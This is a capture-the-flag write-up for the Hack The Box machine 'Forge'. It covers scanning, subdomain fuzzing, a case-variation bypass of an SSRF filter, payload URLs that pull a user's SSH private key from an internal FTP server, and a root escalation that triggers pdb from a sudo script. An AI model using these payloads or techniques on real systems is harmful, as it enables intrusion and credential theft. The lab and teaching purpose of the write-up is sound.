Home Hack The Box Writeup - Forge
Post
Cancel

Hack The Box Writeup - Forge

Enumeration

As always, we start by scanning the target machine’s open ports:

1
2
3
4
5
6
7
8
9
10
rustscan --ulimit 5000  10.129.224.118 -- sV -sC -oN nmap_scan

PORT   STATE SERVICE REASON  VERSION
22/tcp open  ssh     syn-ack OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 b0:58:11:40:6d:8c:bd:c5:72:aa:83:08:c5:51:fb:33 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAILcTSbyCdqkw29aShdKmVhnudyA2B6g6ULjspAQpHLIC
80/tcp open  http    syn-ack Apache/2.4.41 (Ubuntu)
|_http-server-header: Apache/2.4.41 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

The open ports are:

  • 22 - SSH
  • 80 - HTTP Apache 2.4.41

Port 80 - Apache Server

Accessing the website, we get immediately redirected to forge.htb.

So let’s add it to the /etc/hosts file and access it again.

The website apparently only has two functionalities: 1) the gallery which is shown in the picture above and 2) the image-upload (from local file of from url) function which is shown in the following picture:

A quick scan with feroxbuster also reveals that there is a directory called uploads. So the obvious way is to upload a malicious file which will then give us a reverse shell.

1
2
3
4
403        9l       28w      274c http://forge.htb/server-status
301        9l       28w      307c http://forge.htb/static
301        4l       24w      224c http://forge.htb/uploads
200       33l       58w      929c http://forge.htb/upload

Therefore, we first have to investigate the upload functionality and find out which types of files can be uploaded and which URLS will be accepted. Once we have a deeper insight into the behaviour of the application we can start thinking about how to craft a payload.

After several hours of investigation, I couldnt find any vulnerability to the file-upload. However, I realized that including localhost addresses is forbidden. Considering the name of the box, this all hints towards Server Side Request Forgery (SSRF). Thus, I started another scan for existing subdomains. Maybe we can find something interesting.

1
2
3
4
5
6
7
8
9
10
11
12
13
└─$ wfuzz -Z -c -w /usr/share/wordlists/subdomains-5k.txt --hw 26 -H "Host: FUZZ.forge.htb" 10.129.224.118
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://10.129.224.118/
Total requests: 4989

=====================================================================
ID           Response   Lines    Word       Chars       Payload                                                                                                                     
=====================================================================

000000024:   200        1 L      4 W        27 Ch       "admin"  

And indeed! There is a domain admin.forge.htb. Visiting this site it only prompts us with the text Only localhost allowed! … So that’s it. This is our goal. Now we only have to figure out how to forge the SSRF. As I was a bit rusty on SSRF, I quickly revisited the Portswigger lab on SSRF.

Background information - Server Side Request Forgery (SSRF)

Following definitions are all taken from [Portswigger - SSRF]

“Server-side request forgery (also known as SSRF) is a web security vulnerability that allows an attacker to induce the server-side application to make HTTP requests to an arbitrary domain of the attacker’s choosing. In a typical SSRF attack, the attacker might cause the server to make a connection to internal-only services within the organization’s infrastructure. In other cases, they may be able to force the server to connect to arbitrary external systems, potentially leaking sensitive data such as authorization credentials.”

Attacking the server itself

“In an SSRF attack against the server itself, the attacker induces the application to make an HTTP request back to the server that is hosting the application, via its loopback network interface. This will typically involve supplying a URL with a hostname like 127.0.0.1 (a reserved IP address that points to the loopback adapter) or localhost (a commonly used name for the same adapter).
Why do applications behave in this way, and implicitly trust requests that come from the local machine? This can arise for various reasons:

  • The access control check might be implemented in a different component that sits in front of the application server. When a connection is made back to the server itself, the check is bypassed.
  • For disaster recovery purposes, the application might allow administrative access without logging in, to any user coming from the local machine. This provides a way for an administrator to recover the system in the event they lose their credentials. The assumption here is that only a fully trusted user would be coming directly from the server itself.
  • The administrative interface might be listening on a different port number than the main application, and so might not be reachable directly by users.

These kind of trust relationships, where requests originating from the local machine are handled differently than ordinary requests, is often what makes SSRF into a critical vulnerability. “

Attacking other back-end-systems

“Another type of trust relationship that often arises with server-side request forgery is where the application server is able to interact with other back-end systems that are not directly reachable by users. These systems often have non-routable private IP addresses. Since the back-end systems are normally protected by the network topology, they often have a weaker security posture. In many cases, internal back-end systems contain sensitive functionality that can be accessed without authentication by anyone who is able to interact with the systems. “

Circumventing common SSRF defenses

“It is common to see applications containing SSRF behavior together with defenses aimed at preventing malicious exploitation. Often, these defenses can be circumvented.”

SSRF with blacklist-based input filters

” Some applications block input containing hostnames like 127.0.0.1 and localhost, or sensitive URLs like /admin. In this situation, you can often circumvent the filter using various techniques:

  • Using an alternative IP representation of 127.0.0.1, such as 2130706433, 017700000001, or 127.1.
  • Registering your own domain name that resolves to 127.0.0.1. You can use spoofed.burpcollaborator.net for this purpose.
  • Obfuscating blocked strings using URL encoding or case variation.”

SSRF with whitelist-based input filters

“Some applications only allow input that matches, begins with, or contains, a whitelist of permitted values. In this situation, you can sometimes circumvent the filter by exploiting inconsistencies in URL parsing.

The URL specification contains a number of features that are liable to be overlooked when implementing ad hoc parsing and validation of URLs:

  • You can embed credentials in a URL before the hostname, using the @ character. For example: https://expected-host@evil-host.
  • You can use the # character to indicate a URL fragment. For example: https://evil-host#expected-host.
  • You can leverage the DNS naming hierarchy to place required input into a fully-qualified DNS name that you control. For example: https://expected-host.evil-host.
  • You can URL-encode characters to confuse the URL-parsing code. This is particularly useful if the code that implements the filter handles URL-encoded characters differently than the code that performs the back-end HTTP request.
  • You can use combinations of these techniques together.”

Initial Foothold

Now that we covered the basics of SSRF, we can go back to the upload mechanism. When entering the URL http://forge.htb as parameter for the Upload from url functionality (just to test if it actually loads the page), we get the following result:

Hmm, blacklisted. But, as we have just learned, Obfuscating blocked strings using URL encoding or case variation might be a possbilitiy to bypass the defense mechanism. So let’s try http://Forge.htb:

Perfect! It works. So apparently, the defense mechanism just checks for the word forge. Changing it to Forge already bypasses the filter. Unfortunately, when accessing the upload link, we get an error: Image cannot be displayed because it contians errors.

At this point I was curious what the actual response of the server was and thus tried curl with the same url.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
└─$ curl http://forge.htb/uploadsJa9dDNcBja4F3e1eDURE          

<!DOCTYPE html>                                                                                                                                                                              
<html>                                                                                                                                                                                       
<head>                                                                                                                                                                                       
    <title>Gallery</title>                                                                                                                                                                   
</head>
<body>
    <link rel="stylesheet" type="text/css" href="/static/css/main.css">
    <header>
            <nav>
                <h1 class=""><a href="/">Gallery</a></h1>
                <h1 class="align-right"><a href="/upload">Upload an image</a></h1>
            </nav>
    </header>
    <br><br>
    <center>
        <table align="center">
            <tr>
                <td>
                    <center>
                        <img src="/static/images/image1.jpg">
                    </center>
                </td>
                <td>
                    <center>
                        <img src="/static/images/image2.jpg">
                    </center>
                </td>

                ...

Great! The SSRF works! So now let’s focus on our actual target admin.forge.htb. Again we try to bypass the SSRF defense mechanism by providing the url: http://admin.Forge.htb.
Again, it works. We get an upload URL. Using curl, we see the following response:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<!DOCTYPE html>                                                                                                                                                                              
<html>                                                                                                                                                                                       
<head>                                                                                                                                                                                       
    <title>Admin Portal</title>                                                                                                                                                              
</head>                                                                                                                                                                                      
<body>                                                                                                                                                                                       
    <link rel="stylesheet" type="text/css" href="/static/css/main.css">                                                                                                                      
    <header>                                                                                                                                                                                 
            <nav>                                                                                                                                                                            
                <h1 class=""><a href="/">Portal home</a></h1>                                                                                                                                
                <h1 class="align-right margin-right"><a href="/announcements">Announcements</a></h1>                                                                                         
                <h1 class="align-right"><a href="/upload">Upload image</a></h1>                                                                                                              
            </nav>                                                                                                                                                                           
    </header>
    <br><br><br><br>
    <br><br><br><br>
    <center><h1>Welcome Admins!</h1></center>
</body>
</html> 

It’s the admin page! We also see that it has 2 more endpoints namely /announcements and /upload. Repeating the previous steps while modifying the url to http://admin.Forge.htb/announcements results in the following response:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<!DOCTYPE html>
<html>
<head>
    <title>Announcements</title>
</head>
<body>
    <link rel="stylesheet" type="text/css" href="/static/css/main.css">
    <link rel="stylesheet" type="text/css" href="/static/css/announcements.css">
    <header>
            <nav>
                <h1 class=""><a href="/">Portal home</a></h1>
                <h1 class="align-right margin-right"><a href="/announcements">Announcements</a></h1>
                <h1 class="align-right"><a href="/upload">Upload image</a></h1>
            </nav>
    </header>
    <br><br><br>
    <ul>
        <li>An internal ftp server has been setup with credentials as user:heightofsecurity123!</li>
        <li>The /upload endpoint now supports ftp, ftps, http and https protocols for uploading from url.</li>
        <li>The /upload endpoint has been configured for easy scripting of uploads, and for uploading an image, one can simply pass a url with ?u=&lt;url&gt;.</li>
    </ul>
</body>

Here we get the information that there is an internal FTP server that has been setup with the credentials user:heightofsecurity123!. Furthermore, the admin /upload endpoint supports the ftp protocol and uses the parameter ?u= for passing urls. The final step thus is to access the ftp server via the SSRF by sending a request to the admin upload endpoint including the ftp server address and the correct credentials (ftp://FTP_Username:FTP_Password@Host).

So the final payload should look like this:

1
http://admin.Forge.htb/upload?u=ftp://user:heightofsecurity123!@LocalHost/
1
2
3
└─$ curl http://forge.htb/uploads/PLyOVY6ZbMR0GUeRD0h7
drwxr-xr-x    3 1000     1000         4096 Aug 04 19:23 snap
-rw-r-----    1 0        1000           33 Sep 20 07:32 user.txt

Finally, let’s directly access the user.txt file.

1
http://admin.Forge.htb/upload?u=ftp://user:heightofsecurity123!@LocalHost/user.txt
1
2
3
└─$ curl http://forge.htb/uploads/e557X3UFkaM71HRv3eD 

<REDACTED USER TXT>

However, we still have got no access to the machine itself. I then tried to ssh with the same credentials.

1
2
└─$ ssh user@10.129.224.118 
user@10.129.224.118: Permission denied (publickey).

Hmmm only SSH key authentication is enabled. Thus, let’s check if the private key is accessible via FTP.

1
http://admin.Forge.htb/upload?u=ftp://user:heightofsecurity123!@LocalHost/.ssh/id_rsa
1
2
3
4
└─$ curl http://forge.htb/uploads/kiurv9gYSzyO6D7bAtIB
-----BEGIN OPENSSH PRIVATE KEY-----
...
-----END OPENSSH PRIVATE KEY-----

Perfect! Now we can identify as user.

1
2
└─$ chmod 600 user_id_rsa
└─$ ssh -i user_id_rsa user@10.129.224.118

Privilege Escalation

Checking the sudo privileges, we can see that our current user is allowed to run /usr/bin/python3 /opt/remote-manage.py as all users (including root) without password.

1
2
3
4
5
6
user@forge:~$ sudo -l
Matching Defaults entries for user on forge:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User user may run the following commands on forge:
    (ALL : ALL) NOPASSWD: /usr/bin/python3 /opt/remote-manage.py

Looking at the permissions of that file, we see that we have read and execute permissions.

1
2
user@forge:~$ ls -la /opt/remote-manage.py
-rwxr-xr-x 1 root root 1447 May 31 12:09 /opt/remote-manage.py

Let’s have a look at this file:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
#!/usr/bin/env python3
import socket
import random
import subprocess
import pdb

port = random.randint(1025, 65535)

try:
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    sock.bind(('127.0.0.1', port))
    sock.listen(1)
    print(f'Listening on localhost:{port}')
    (clientsock, addr) = sock.accept()
    clientsock.send(b'Enter the secret passsword: ')
    if clientsock.recv(1024).strip().decode() != 'secretadminpassword':
        clientsock.send(b'Wrong password!\n')
    else:
        clientsock.send(b'Welcome admin!\n')
        while True:
            clientsock.send(b'\nWhat do you wanna do: \n')
            clientsock.send(b'[1] View processes\n')
            clientsock.send(b'[2] View free memory\n')
            clientsock.send(b'[3] View listening sockets\n')
            clientsock.send(b'[4] Quit\n')
            option = int(clientsock.recv(1024).strip())
            if option == 1:
                clientsock.send(subprocess.getoutput('ps aux').encode())
            elif option == 2:
                clientsock.send(subprocess.getoutput('df').encode())
            elif option == 3:
                clientsock.send(subprocess.getoutput('ss -lnt').encode())
            elif option == 4:
                clientsock.send(b'Bye\n')
                break
except Exception as e:
    print(e)
    pdb.post_mortem(e.__traceback__)
finally:
    quit()

When running this script, it creates some kind of admin service on a random port. The password to access this service is secretadminpassword. Once logged in, we can either execute ps aux, df or ss -lnt with sudo privileges. At first glance, there are no obvious vulnerabilities in this code.

So, let’s check if we have access to any of the imported modules:

1
2
3
4
-rw-r--r--  1 root root  35243 Jun  2 10:49 socket.py
-rw-r--r--  1 root root  28802 Jun  2 10:49 random.py
-rw-r--r--  1 root root  77330 Jun  2 10:49 subprocess.py
-rwxr-xr-x  1 root root  62738 Jun  2 10:49 pdb.py

Hmm, only read and execute permissions. That’s not helpful. However, from my programming experience I know that pdb.post_mortem will open an interactive debugger, once we trigger the exception.

At 2nd glance, the “bug” is pretty obvious. Once we have provided the admin password, we are asked to provide a number 1-4 to choose a functionality. This input is converted to an int with the code int(clientsock.recv(1024).strip()). If we simply input a character, function int() will throw a ValueError as the function expects a number. We can use this to trigger the interactive python debugger, from which we can then spawn the shell.

First, let’s start the program:

Then, on a 2nd terminal: connect to the port, enter the admin password and then input a character instead of a number.

This will trigger the exception and will give us the interactive python shell. Here, we can then simply use the os module to read the root flag.

Alternatively, we could have established a shell with /bin/bash to gain full access to the system as root.

This post is licensed under CC BY 4.0 by the author.